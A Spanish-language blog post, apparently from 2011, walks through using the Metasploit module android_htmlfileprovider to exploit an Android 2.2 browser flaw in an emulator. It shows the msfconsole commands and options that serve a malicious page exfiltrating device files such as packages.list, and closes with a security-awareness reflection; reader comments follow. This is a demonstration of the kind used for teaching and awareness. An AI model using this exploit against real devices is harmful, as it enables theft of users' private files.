Metasploit: Android_htmlfileprovider

Hace unas semanas fue publicada una vulnerabilidad en el navegador Web de Android 2.2 que permite robar ficheros del terminal descubierta por Thomas Cannon. Como ya se ha comentado en muchas predicciones realizadas a finales del año 2010, este año 2011 los dispositivos móviles van a dar que hablar y parece que no se están haciendo esperar.

En esta entrada vamos a mostrar los resultados de nuestras pruebas intentando aprovechar la vulnerabilidad sobre un dispositivo con Android 2.2 (en este caso el simulador de Android) con el módulo de metasploit “android_htmlfileprovider” hecho por “jduck”. Se pretende mostrar cómo con el módulo de metasploit es sencillo conseguir explotar la vulnerabilidad.

$ msfconsole
$ use gather/android_htmlfileprovider
$ info
Basic options:
  Name        Current Setting             Required  Description
  ----        ---------------             --------  -----------
  FILES       /proc/version,              no        The remote file(s) to steal
              /proc/self/status,
              /data/system/packages.list  
  SRVHOST     0.0.0.0                     yes       The local host to listen on.
  SRVPORT     8080                        yes       The local port to listen on.
  SSL         false                       no        Negotiate SSL for incoming connections
  SSLVersion  SSL3                        no        Specify the version of SSL that should be used 
                                                                       (accepted: SSL2, SSL3, TLS1)
  URIPATH                                 no        The URI to use for this exploit (default is random)
Description:
  This module exploits a cross-domain issue within the Android web
  browser to exfiltrate files from a vulnerable device.
$ set URIPATH payload.html
$ run

Esta secuencia de comandos levantará un servidor web en el puerto 8080 (debemos asegurarnos que no disponemos en la máquina de un servicio a la escucha en este puerto). Hemos cambiado el URIPATH para que no sea aleatorio y desde nuestro dispositivo con Android 2.2 sea más sencilla la escritura de la URI. Una vez arrancado con el comando “run” ya tendremos preparado el entorno para que una víctima visite nuestra web y podamos sacarle información.

Para hacer las pruebas vamos a probar con el emulador para Android y vamos utilizar la versión 2.2 de SDK.

Con el entorno preparado accedemos a la URL “http://192.168.1.135:8080/payload.html/q” desde el dispositivo; éste de forma automática comienza a descargar un archivo “.htm” sin autorización previa y en la ventana de la metasploit obtenemos una información muy interesante sobre nuestro dispositivo víctima:

Como habéis podido ver, crear una pequeña prueba de concepto ha sido rápido y hemos podido mostrar cómo el riesgo está ahí. Ahora cada uno debe reflexionar: ¿qué documentos guardo en dispositivo móvil? ¿estos documentos son confidenciales? ¿he puesto alguna medida de seguridad para evitar cosas como esta?

Comments

  1. Interesante ,ilustrativo y peligroso… :)

  2. Al final me compraré un teléfono se esos que tienen los abuelos, que sólo te permiten marcar varios números predefinidos. Bonito post, por si acaso no lo pruebo con mi Androide.

  3. porque le das /q y no solo el payload.html ????

  4. estoy intentando probar el exploit en backtrack y tengo instalado el sdk de android.
    Cuando ejecuto el exploit e introduzco el URL en el browser del emulador android me dice que la pagina web no está disponible, pero cuando la introduzco en el explorador firefox de la maquina si que va.

    Supongo que el problema está en la IP, como lo soluciono?